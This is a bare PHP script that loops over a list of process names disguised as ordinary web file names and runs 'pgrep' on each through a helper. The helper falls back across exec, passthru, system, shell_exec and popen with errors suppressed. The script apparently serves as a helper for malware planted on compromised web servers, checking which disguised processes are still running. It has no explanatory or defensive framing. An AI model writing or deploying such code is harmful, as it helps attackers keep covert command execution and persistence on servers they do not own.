<?php   $files = ['about.german3','breadcrumbs','function.math','class.faq','dateparser','badword.class','upload_old','section_links','lostpassword','unzip.inc','add_new_case','index_esp','events_template','class.wsdlcache','help_about','action.fesubmit','tabledata','auctionapproval','senduseremail','table.forums','a_fine_lingue','qtype_random','jpgraph_date','send_periodic','conditions','modifier.dec','insertfile','autoblogged','block_search','homepageEN.dwt']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }